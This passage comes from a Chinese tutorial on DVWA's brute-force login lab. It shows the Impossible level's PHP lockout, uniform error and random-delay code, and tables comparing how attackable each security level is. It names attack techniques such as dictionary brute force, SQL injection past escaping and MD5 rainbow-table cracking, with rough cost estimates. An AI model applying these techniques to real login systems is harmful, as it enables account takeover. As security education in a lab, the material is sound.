    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

改进 :连续登录失败 3 次后锁定账户 15 分钟;

安全价值:攻击者无法对同一账户持续爆破,即使密码在字典中,3 次尝试内命中的概率极低。

(5)统一的错误响应

php 复制代码
// 登录失败
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

改进 :无论用户名是否存在、是否被锁定,均返回相同的提示信息;

安全价值:攻击者无法通过错误信息区分"用户名不存在"、"密码错误"或"账户已锁定",有效防止账户枚举(Username Enumeration)攻击。

(6)随机延时

php 复制代码
sleep( rand( 2, 4 ) );

改进 :失败时随机延迟 2-4 秒(比 MEDIUM/HIGH 的 0-3 秒范围更大);

安全价值:增加自动化攻击的调度难度,使攻击者无法精确预测响应时间。

(7)登录成功后的警告机制

php 复制代码
if( $failed_login >= $total_failed_login ) {
    echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
    echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>{$last_login}</em>.</p>";
}

改进 :登录成功后,如果检测到之前有大量失败记录,向用户发出警告;

安全价值:让合法用户意识到账户可能遭受过攻击,提醒用户修改密码。

6.四个级别统一分析

①防护策略演进对比

防护维度 LOW 级别 MEDIUM 级别 HIGH 级别 Impossible 级别
输入过滤 ❌ 无 ⚠️ 转义函数 ⚠️ 转义函数 PDO 参数化查询
密码存储 ❌ MD5 ❌ MD5 ❌ MD5 password_hash()/bcrypt
请求方法 ❌ GET ❌ GET ❌ GET POST
CSRF 令牌 ❌ 无 ❌ 无 一次性令牌 一次性令牌
失败延时 ❌ 无 ⚠️ 固定 2s ⚠️ 随机 0-3s 随机 2-4s
账户锁定 ❌ 无 ❌ 无 ❌ 无 3次失败锁定15分钟
错误响应 ❌ 统一返回 ❌ 统一返回 ❌ 统一返回 统一返回(含锁定提示)
安全警告 ❌ 无 ❌ 无 ❌ 无 登录成功后警告
响应差异性 ❌ 存在 ❌ 存在 ❌ 存在 无差异

②攻击面变化分析

攻击类型 LOW 级别 MEDIUM 级别 HIGH 级别 Impossible 级别
SQL 注入 ✅ 可直接利用 ⚠️ 可能绕过 ⚠️ 可能绕过 无法利用
暴力破解 ✅ 直接爆破 ⚠️ 受限于延时 ⚠️ 受限于 Token 锁定阻断
账户枚举 ✅ 可判断存在 ✅ 可判断存在 ✅ 可判断存在 无法判断
密码泄露 ✅ MD5 可破解 ✅ MD5 可破解 ✅ MD5 可破解 bcrypt 抗破解
重放攻击 ✅ 无防护 ✅ 无防护 ✅ Token 防护 ✅ Token 防护
中间人截获 ✅ GET 明文 ✅ GET 明文 ✅ GET 明文 ⚠️ POST 仍需 HTTPS

③攻击成本对比

攻击场景 LOW 级别 MEDIUM 级别 HIGH 级别 Impossible 级别
1000 条字典爆破耗时 ~1 分钟 ~33 分钟 ~5-10 分钟(单线程) 账户锁定,无法爆破
SQL 注入利用难度 极低(直接拼接) 低(需绕过转义) 低(需绕过转义) 极高(PDO 参数化)
MD5 破解时间 ~1 秒(彩虹表) ~1 秒(彩虹表) ~1 秒(彩虹表) ~10 年(bcrypt)
账户枚举可能性 高(响应差异) 高(响应差异) 高(响应差异) 无(统一响应)
总体攻击成本 ⭐ 极低 ⭐⭐ 低 ⭐⭐⭐ 中等 ⭐⭐⭐⭐⭐ 极高

7. Impossible 级别------小结

Impossible 级别展示了 "纵深防御(Defense in Depth)" 的安全设计理念:

输入层 :PDO 参数化查询彻底杜绝 SQL 注入;

传输层 :POST 方法保护认证凭据不在 URL 中暴露;

存储层 :password_hash()/bcrypt 强哈希抵抗离线破解;

逻辑层 :账户锁定机制(3 次/15 分钟)阻断暴力破解,随机延时(2-4s)增加调度难度;

响应层 :统一错误响应防止账户枚举;

会话层 :CSRF 令牌防止重放攻击;

通知层 :登录成功后警告用户潜在的攻击行为。

一句话总结:Impossible 级别不再是"单点防御",而是通过多层、多种安全机制的协同工作 ,构建了一个即使在部分防护被绕过的情况下,整体系统依然安全的认证体系

六. Brute Force四个级别对比总结

1.漏洞回顾

安全层级 LOW 级别 MEDIUM 级别 HIGH 级别 Impossible 级别
输入层 🔴 直接拼接 🟠 转义(可绕过) 🟠 转义(可绕过) 🟢 PDO 参数化
传输层 🔴 GET 明文 🔴 GET 明文 🔴 GET 明文 🟢 POST
存储层 🔴 MD5 哈希 🔴 MD5 哈希 🔴 MD5 哈希 🟢 bcrypt/Argon2
逻辑层 🔴 无防护 🟠 固定延时 🟢 Token 机制 🟢 Token + 锁定
响应层 🔴 信息泄露 🔴 信息泄露 🔴 信息泄露 🟢 统一响应
通知层 🔴 无 🔴 无 🔴 无 🟢 安全警告

2.启发

单一防护必然失效 :LOW 到 HIGH 级别的演进表明,仅靠输入过滤、延时或 Token 中的任何一种手段,都无法构建安全的认证系统;

纵深防御是唯一出路 :Impossible 级别的安全并非来自某一项"银弹"技术,而是来自多层防护的协同效应;

安全与用户体验的平衡 :账户锁定和强密码哈希增加了安全性,但也可能影响用户体验。合理的阈值设计(如 3 次失败锁定 15 分钟)是权衡的关键;

AI 时代的认证安全:传统认证系统面临 PassGAN、RL 驱动攻击等 AI 辅助威胁,防御端也需要引入 AI 异常检测、自适应认证等智能化手段。

免责声明:本文所述内容仅供安全研究与学习交流使用,所有测试均在本地授权靶场(DVWA)环境中进行。未经授权,严禁将文中技术用于任何非法目的。